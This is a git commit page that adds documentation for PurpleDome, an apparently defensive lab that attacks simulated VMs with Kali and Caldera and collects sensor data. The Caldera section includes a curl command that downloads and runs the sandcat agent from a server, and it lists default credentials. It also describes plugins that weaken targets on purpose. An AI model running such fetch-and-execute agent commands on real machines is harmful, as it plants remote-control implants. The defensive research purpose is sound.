Initial update

Started documentation

Added documentation

Fixed README

Autor:           Thorsten Sick <thorsten.sick@avast.com>
Datum:            Fri Apr 16 11:16:03 2021 +0200

Initial commit
pull/3/head
Thorsten Sick 3 years ago committed by Thorsten Sick
parent 94c55d80a3
commit b5fdb52fee

22
.gitignore vendored

@ -127,3 +127,25 @@ dmypy.json
# Pyre type checker
.pyre/
# Vagrant
.vagrant
# IDE
.idea
# Systems, generated files
systems/*/.vagrant
systems/*/sandcat.go
systems/*/*_eth1.txt
systems/*/logstash/*
systems/*/caldera/*
systems/*/caldera
systems/*/ip4.txt
# Auto generated
caldera_agent.sh
# Nohup
**/nohup.out

@ -1,2 +1,37 @@
# PurpleDome
Simulation environment for attacks on computer networks
# Creates vulnerable systems
Uses vagrant to set up vulnerable systems. Sensors and maybe attack agents will be installed as well.
Will use vagrant config. It is quite likely that it we will need some parameters to create similar but not identical systems.
## Testing
*Prerequisites:*
Install python environment, e.g. using `conda`:
```
conda create -n purpledome python=3.8
conda activate purpledome
```
Then install the required dependencies in the crated python environment:
```
pip install -r requirements.txt
```
*Call test suite:*
```
make test
```
## Documentation
Documentation is using sphinx
https://www.sphinx-doc.org/en/master/index.html
Generate it switching to the directory doc and calling
*make all*

@ -0,0 +1,24 @@
# Minimal makefile for Sphinx documentation
#
# You can set these variables from the command line, and also
# from the environment for the first two.
SPHINXOPTS ?=
SPHINXBUILD ?= python3 -m sphinx
SOURCEDIR = source
BUILDDIR = build
# Put it first so that "make" without argument is like "make help".
help:
@$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)
.PHONY: help Makefile all
# Catch-all target: route all unknown targets to Sphinx using the new
# "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS).
%: Makefile
@$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)
all: html epub latexpdf text man
# I want to check the pdf into GIT. Copying it here so I will move it with the usb stick (as the build dir is not moved)
cp build/latex/purpledome.pdf .

@ -0,0 +1,35 @@
@ECHO OFF
pushd %~dp0
REM Command file for Sphinx documentation
if "%SPHINXBUILD%" == "" (
set SPHINXBUILD=sphinx-build
)
set SOURCEDIR=source
set BUILDDIR=build
if "%1" == "" goto help
%SPHINXBUILD% >NUL 2>NUL
if errorlevel 9009 (
echo.
echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
echo.installed, then set the SPHINXBUILD environment variable to point
echo.to the full path of the 'sphinx-build' executable. Alternatively you
echo.may add the Sphinx directory to PATH.
echo.
echo.If you don't have Sphinx installed, grab it from
echo.http://sphinx-doc.org/
exit /b 1
)
%SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O%
goto end
:help
%SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O%
:end
popd

@ -0,0 +1,134 @@
======
Basics
======
Purple Dome is a simulated and automated environment to play with several operating system attacking each other.
This tool generates an attacker VM and target VMs. Automated attacks are then run against the targets and they will log system events. Those logs will then be stored away for analysis.
Attacks are started from the attacker VM which is normally a Kali linux machine (with all the Kali tools) running a Caldera server for additional tooling.
-------------------
Features
========
* Linux and Windows targets
* VM controller abstracted as plugins
* Local vagrant based (debug and development)
* Cloud based
* Caldera attacks
* Kali attack tools as plugins
* Data collection: Attack log and sensor data
* Vulnerability plugins: Modify the targets before the attack
Components
==========
You will interact with the command line tools. Those are described in the *CLI* chapter.
If you want to modify Purple Dome and contribute to it I can point you to the *Extending* chapter
On of the first things you will want to do is configuring the whole thing. Basically you have to touch two things: The configuration file must be modified (in YAML format). And you will also want to create some target VMs.
Vagrant makes it simple to create Linux targets. Windows targets (with some start configuration) are harder and have an own chapter.
TODO: What sensors are pre-installed ?
TODO: How to attack it ?
TODO: How to contact the servers (ssh/...) ? Scriptable
TODO: How to run it without sudo ?
TODO: Which data is collected ? How to access it ? How to get data dumps out ?
TODO: Add Linux Server
TODO: Add Mac Server
Data aggregator
---------------
We currently can use IDP and logstash
There are several options for data aggregators:
* Fleet OSQuery aggregator: https://github.com/kolide/fleet
* The Hive
Sensors on Targets (most are Windows)
-------------------------------------
Those sensors are not integrated but could be nice to play with:
Palantir Windows Event forwarding: https://github.com/palantir/windows-event-forwarding
Autorun monitoring: https://github.com/palantir/windows-event-forwarding/tree/master/AutorunsToWinEventLog
Palantir OSquery: https://github.com/palantir/osquery-configuration
SwiftOnSecurity Sysmon config: https://github.com/SwiftOnSecurity/sysmon-config
Palantir OSQuery is mixed OS: Windows/Mac Endpoints, Linux Servers
Caldera
-------
Attack framework.
Starting: *python3 server.py --insecure*
Web UI on *http://localhost:8888/*
Credentials: *red/admin*
Documentation: Documentation: https://caldera.readthedocs.io/en/latest/
Installing client on victim (Linux):
server="http://192.168.178.45:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > sandcat.go;chmod +x sandcat.go;./sandcat.go -server $server -group red -v
Filebeat
--------
Filebeat has a set of modules:
https://www.elastic.co/guide/en/beats/filebeat/6.8/filebeat-modules-overview.html
List modules: *filebeat modules list*
%% TODO: Add OSQueryD https://osquery.readthedocs.io/en/latest/introduction/using-osqueryd/
Logstash
--------
Logstash uses all .conf files in /etc/logstash/conf.d
https://www.elastic.co/guide/en/logstash/current/config-setting-files.html
Alternative: The Hive
---------------------
Sander Spierenburg (SOC Teamlead) seems to be interested in The Hive. So it is back in the game
Repos
-----
* The main part: https://git.int.avast.com/ai-research/purpledome
* Caldera fork to fix bugs: TBD
* Caldera Plugin for statistics: <add public git/avast folder>
Links
-----
* Others detecting this kind of things
- https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/

@ -0,0 +1,65 @@
=============
Configuration
=============
Configuration is contained in yaml files. The example shipped with the code is *experiment.yaml*.
To define the VMs there are also *Vagrantfiles* and associated scripts. The example shipped with the code is in the *systems* folder.
Machines
========
Machines (targets and attacker) are configured in *experiment.yaml*. There are different kinds of VM controllers and different communication interfaces. You will have to pick one and configure it.
If you use the VM controller "vagrant" you will also have to create a Vagrantfile and link to it's folder.
Vagrant machines
~~~~~~~~~~~~~~~~
* vagrantfilepath: Path where the vagrantfile is stored
Communication interfaces
------------------------
SSH
~~~
SSH is the default communication interfaces. For Linux machines it can use vagrant to establish communications (get the keyfile). For Windows - which needs OpenSSH installed - the configuration needs the proper keyfile specified.
Attacks
=======
caldera_attacks
---------------
Caldera attacks (called abilities) are identified by a unique ID. Some abilities are built to target several OS-es. But to be flexible with targeting the config has separate lists.
All Caldera abilities are available. But Purple Dome is still missing support for parameters and return values. This can restrict the available abilities at the moment.
kali_attacks
------------
Kali attacks are kali commandline tools run by a small piece of python code in Purple Dome. This is the reason why not all Kali functionality is available yet.
kali_conf
---------
All kali attacks can have a special configuration. The configuration is tool specific.
Config file
===========
.. autoyaml:: ../experiment.yaml
TBD
===
Some features are not implemented yet. They will be added to the config file later
* Terraform
* Separate attack script
* Azure
* Plugin infrastructure (which will change the configuration of plugins, maybe even require splitting and moving configuration around)

@ -0,0 +1,22 @@
=======
Learned
=======
Mistakes made/lessons learned
-----------------------------
* Caldera server needs golang installed: *sudo apt install golang-go*
* WinRM ist NOT the way to go. Better use OpenSSH for Windows.
Decisions
---------
* Plugins and other things that are relevant for University coop are published here: https://github.com/avast
* Purple Dome Core is internal
* Caldera bugs and similar can and should be fixed in the core project
* What has been named "Victim" so far is better named "Target"
* Running it with Windows VMs is essential. Also install AV
* It is possible that Vagrant + Windows has issues. In that case: Build Windows VMs and create Snapshots. This is why we need a better VM control lib.
* MSDN license is ordered
* We will control the attacks. So we can run this without VMCloak
* Avast seems to be moving those things to AWS. So be ready to move the project there as well.

@ -0,0 +1,77 @@
===============
Windows targets
===============
Windows Vagrant boxes need a special setup. They have to be created from a running windows machine.
Windows Box
-----------
If you use Vagrant you need a vagrant box first. It is a base image the vm will be based on.
The base vm must be running in VirtualBox !
Bash::
vagrant package --base 'Windows 10 x64'
In this example the running Virtual Box VM named 'Windows 10 x64'
Adding the box in bash::
vagrant box add --name windows10_64 "file:///home/ts/vagrantboxes/win10_64/package.box"
After that it can be used under this name in a Vagrantfile.
Setting up Windows for Purple Dome
----------------------------------
* Mount the vagrant share to X: (at least my scripts expect it) *net use x:\\vboxsvr\share*
* Create a batch file in C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup to automatically start *caldera_agent.bat* in the vagrant share for this machine. This ensures that the caldera agent can be started in reboot
* Install OpenSSH on the windows target (https://docs.microsoft.com/de-de/windows-server/administration/openssh/openssh_install_firstuse and https://docs.microsoft.com/de-de/windows-server/administration/openssh/openssh_keymanagement)
Some SSH hints (powershell):
Powershell::
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'
Install-Module -Force OpenSSHUtils -Scope AllUsers
To create a user key in a private user folder call (as user) Powershell::
ssh-keygen
This can be used for remote login
To be able to log into the Windows box, *c:\users\PurpleDome\.ssh\authorized_keys* needs to be created. Add the public key there.
For admin users, the file is *C:\ProgramData\ssh\administrators_authorized_keys*
Copy your public key into that (open file in administrator notepad, copy&paste)
The file needs special permissions. Powershell::
$acl = Get-Acl C:\ProgramData\ssh\administrators_authorized_keys
$acl.SetAccessRuleProtection($true, $false)
$administratorsRule = New-Object system.security.accesscontrol.filesystemaccessrule("Administrators","FullControl","Allow")
$systemRule = New-Object system.security.accesscontrol.filesystemaccessrule("SYSTEM","FullControl","Allow")
$acl.SetAccessRule($administratorsRule)
$acl.SetAccessRule($systemRule)
$acl | Set-Acl
See: https://www.concurrency.com/blog/may-2019/key-based-authentication-for-openssh-on-windows
https://github.com/PowerShell/Win32-OpenSSH/wiki/Troubleshooting-Steps
To connect from linux call bash::
ssh -o "IdentitiesOnly=yes" -i ~/.ssh/id_rsa.3 -v PURPLEDOME@192.168.178.189
(Capital letters for user name !)
* The parameters enforce the use of a specific key. You can also drop that into the ssh config
Footnote: WinRM failed. I tried. The python code does not support ssh-style "disown". Vagrant files needed a special configuration-and sometimes failed connecting to the windows host properly. Base problem was that it does not properly support empty passwords (not on python, anyway) - and I used them for auto-login. Because some windows versions are a bit tricky with auto-login settings as they should be. Windows 10 is mutating here like hell.

@ -0,0 +1,78 @@
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
import os
import sys
# sys.path.insert(0, os.path.abspath('../../app'))
sys.path.insert(0, os.path.abspath('../..'))
print(sys.path)
# -- Project information -----------------------------------------------------
project = 'Purple Dome'
copyright = '2021, Avast'
author = 'Thorsten Sick'
# -- General configuration ---------------------------------------------------
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = ['sphinx.ext.autodoc']
# Sphinx argparse https://sphinx-argparse.readthedocs.io/en/latest/install.html
extensions += ['sphinxarg.ext']
# UML diagrams https://github.com/alendit/sphinx-pyreverse
extensions += ['sphinx_pyreverse']
# YAML config file documentation https://github.com/Jakski/sphinxcontrib-autoyaml
extensions += ['sphinxcontrib.autoyaml']
autoyaml_level = 5
# Properly display command line behaviour https://pypi.org/project/sphinxcontrib.asciinema/
# https://github.com/divi255/sphinxcontrib.asciinema/issues/11
extensions += ['sphinxcontrib.asciinema']
sphinxcontrib_asciinema_defaults = {
# 'theme': 'solarized-dark',
# 'preload': 1,
# 'font-size': '15px',
'path': 'asciinema',
'autoplay': 1,
# 'loop': directives.unchanged,
'speed': 2,
'idle-time-limit': 1,
}
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This pattern also affects html_static_path and html_extra_path.
exclude_patterns = []
# -- Options for HTML output -------------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
html_theme = 'alabaster'
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

@ -0,0 +1,22 @@
===========================
Extending the documentation
===========================
Tools being used are:
* Argparse for my command line tools
- https://github.com/alex-rudakov/sphinx-argparse
* Standard "autodoc" for python code
- https://www.sphinx-doc.org/en/master/usage/quickstart.html#autodoc
* Pyreverse
- https://pypi.org/project/sphinx-pyreverse/
* Autoyaml
- https://github.com/Jakski/sphinxcontrib-autoyaml

@ -0,0 +1,56 @@
*********
Extending
*********
Modules
=======
Several core module create the system.
* CalderaControl: remote control for Caldera using the Caldera REST API
* MachineControl: Create/start and stop VMs
* ExperimentControl: Control experiments. Will internally use the modules already mentioned
.. sidebar:: Plugins
There will be a plugin system soon. Until then the only way to extend
PurpleDome is to modify the core source code. If it is not urgent, maybe better be patient and ask for a specific plugin interface.
--------------
CalderaControl
--------------
Class for Caldera communication
.. autoclass:: app.calderacontrol.CalderaControl
:members:
--------------
MachineControl
--------------
Class controlling a machine
.. autoclass:: app.machinecontrol.Machine
:members:
-----------------
ExperimentControl
-----------------
Class controlling the experiment
.. autoclass:: app.experimentcontrol.Experiment
:members:
------
Config
------
Internal configuration handling. Currently there are two classes. One for the whole experiment configuration. The second one for machine specific configuration.
.. autoclass:: app.config.ExperimentConfig
:members:
.. autoclass:: app.config.MachineConfig
:members:

@ -0,0 +1,63 @@
************
Kali plugins
************
Kali attacks can be extended using a plugin system. An example plugin is in the file *hydra_plugin.py*. It contains a plugin class that **MUST** be based on the *KaliPlugin* class.
::
Important: We want to improve defense in this project. Adding any attack must be done with this goal. To guarantee that:
* Only add attacks that are already ITW
* Link to blog posts describing this attack
* Maybe already drop some ideas how to detect and block
* Or even add code to detect and block it
Usage
=====
To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *KaliPlugin*.
There is an example plugin *hydra.py* that you can use as template.
Boilerplate
-----------
The boilerplate contains some basics:
* name: a unique name, also used in the config yaml file to reference this plugin
* description: A human readable description for this plugin.
* ttp: The TTP number of this kali attack. See https://attack.mitre.org/
* references. A list of urls to blog posts or similar describing the attack
* required_files: A list. If you ship files with your plugin, listing them here will cause them to be installed on plugin init.
Method: process_config
----------------------
This class processes the plugin specific configuration. The *config* parameter will contain the plugin specific part of the yaml config file. You job will be to parse it, offer sane defaults and store the parsed config in *self.conf[]*.
Method: command
---------------
Creates a command that can be run on the kali machine as command. Parameters and configs you can use:
* targets: a list of ip addresses of potential targets
* config: special config for this call
* self.sysconf: global plugin configuration. Like the path to the kali share (internal or external)
* self.conf: The configuration you created in the *process_config* method
Method: run
-----------
This will run the command line created by the method *command* on the kali attacker.
Configuration
-------------
If you are using the plugin, you **must** have a config section for this kali plugin in the configuration. Even if it is empty.
The plugin class
================
.. autoclass:: plugins.base.kali.KaliPlugin
:members:

@ -0,0 +1,43 @@
**************
Sensor plugins
**************
To experiment with different senors installed on the targets there is the sensor plugin. It contains a plugin class that **MUST** be based on the *SensorPlugin* class.
Usage
=====
To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *SensorPlugin*.
If the plugin is activated for a specific machine four specific methods will be called to interact with the target:
* Install
* Start
* Stop
* Collect results
Methods for these four are called by PurpleDome. Normally you should not have to edit these methods. Just the commands you that are called by them. And those commands are created by specific methods:
* install_command
* start_command
* stop_command
* collect_command
Boilerplate
-----------
The boilerplate contains some basics:
* name: a unique name, also used in the config yaml file to reference this plugin
* description. A human readable description for this plugin.
* required_files: A list. If you ship files with your plugin, listing them here will cause them to be installed on plugin init by creating a copy in the share.
Additionally you can set *self.debugit* to True. This will run the sensor on execution in gdb and make the call blocking. So you can debug your sensor.
The plugin class
================
.. autoclass:: plugins.base.sensor.SensorPlugin
:members:

@ -0,0 +1,96 @@
*********************
VM Controller plugins
*********************
The experiment being run handles the machines. As there can be several VM controllers being used this is handled by the plugin layer as well. Those machines can be target or attack machines.
A VM plugin handles several things:
* vm creation/destruction
* vm starting/stopping
* connecting to the VM (ssh or similar) and running commands there
* Copy files from and to the VM
Usage
=====
To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *MachineryPlugin*.
There is an example plugin *vagrant_plugin.py* that you can use as template.
Boilerplate
-----------
The boilerplate contains some basics:
* name: a unique name, also used in the config yaml file to reference this plugin
* description. A human readable description for this plugin.
* required_files: A list. If you ship files with your plugin, listing them here will cause them to be installed on plugin init.
Method: process_config
----------------------
The configuration for this machine is a sub-section in the experiment config. As the different machinery systems might require special handling, you can parse the config in this section and add your own processing or defaults
Method: create
--------------
Creates the machine (for systems like vagrant that build a machine out of a config file)
Method: up
----------
Starts the machine
Method: halt
------------
Stops the machine
Method: destroy
---------------
Remove the machine from disk. Only smart if you can re-create it with *create*
Method: connect
---------------
Create a connection to this machine to run shell commands or copy files
Method: remote_run
------------------
Execute a command on the running machine
Method: put
-----------
Copy a file to the machine
Method: get
-----------
Get a file from the machine
Method: disconnect
------------------
Disconnect the command channel from the vm
Method: get_state
-----------------
Get the machines state. The class MachineStates contains potential return values
Method: get_ip
--------------
Get the ip of the machine. If the machine is registered at the system resolver (/etc/hosts, dns, ...) a machine name would also be a valid response. As long as the network layer can reach it, everything is fine.
The plugin class
================
.. autoclass:: plugins.base.machinery.MachineryPlugin
:members:

@ -0,0 +1,46 @@
*********************
Vulnerability plugins
*********************
To leave attack traces on a machine it should be vulnerable. Services should run. Old application be installed, users with weak passwords added. The configuration should be a mess.
This plugin type allows you to punch some holes into the protection of a machine. Which plugins are loaded for a specific target is defined in the configuration file.
Usage
=====
To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *VulnerabilityPlugin*.
There is an example plugin *linux_sshd_config_issues.py* that you can use as template.
Boilerplate
-----------
The boilerplate contains some basics:
* name: a unique name, also used in the config yaml file to reference this plugin
* description: A human readable description for this plugin.
* ttp: The TTP number of this kali attack. See https://attack.mitre.org/ Just as a hint which TTP this vulnerability could be realted to
* references. A list of urls to blog posts or similar describing the attack
* required_files: A list. If you ship files with your plugin, listing them here will cause them to be installed on plugin init.
Method: start
-------------
Put the code in here that adds vulnerabilities to the machine. The most important method you can use here is "self.run_cmd" and execute a shell command.
Method: stop
------------
Undo the changes after the attacks ran. If the machine is re-used (and not re-built or run from a snapshot) this will make it simpler for the user to run more experiments on slightly modified systems.
Method: install (optional)
--------------------------
*start* installs the vulnerability on the target. *install* is called before that. If you have to setup anything in the plugin space (and not on the target) do it here.
The plugin class
================
.. autoclass:: plugins.base.vulnerability_plugin.VulnerabilityPlugin
:members:

@ -0,0 +1,47 @@
.. Purple Dome documentation master file, created by
sphinx-quickstart on Fri Dec 4 10:04:48 2020.
You can adapt this file completely to your liking, but it should at least
contain the root `toctree` directive.
.. https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html
.. Autodoc part
.. https://www.sphinx-doc.org/en/master/usage/extensions/autodoc.html#module-sphinx.ext.autodoc
Welcome to the Purple Dome documentation!
=========================================
.. toctree::
:maxdepth: 2
:caption: Contents:
basics/background
basics/configuration
basics/windows_targets
usage/usage
usage/cli
extending/vulnerability_plugins.rst
extending/kali_plugins
extending/sensor_plugins
extending/vm_controller_plugins.rst
extending/extending
extending/documentation
basics/learned
Indices and tables
==================
* :ref:`genindex`
* :ref:`modindex`
* :ref:`search`

@ -0,0 +1,38 @@
===
CLI
===
There are three command line tools that offer a simple interface to PurpleDome.
Experiment control
------------------
Experiment control is the core tool to run an experiment. It accepts a yaml config file and runs the experiments in there. The configuration file defines the system to be used (together with a Vagrant file being referenced there) and the attacks to run.
.. asciinema:: ./../asciinema/experiment_control.cast
:speed: 2
.. argparse::
:filename: ../experiment_control.py
:func: create_parser
:prog: ./experiment_control.py
Caldera control
---------------
Directly control a caldera server
.. argparse::
:filename: ../caldera_control.py
:func: create_parser
:prog: ./caldera_control.py
Machine control
---------------
Directly control the machines
.. argparse::
:filename: ../machine_control.py
:func: create_parser
:prog: ./machine_control.py

@ -0,0 +1,4 @@
*****
Usage
*****
Loading…
Cancel
Save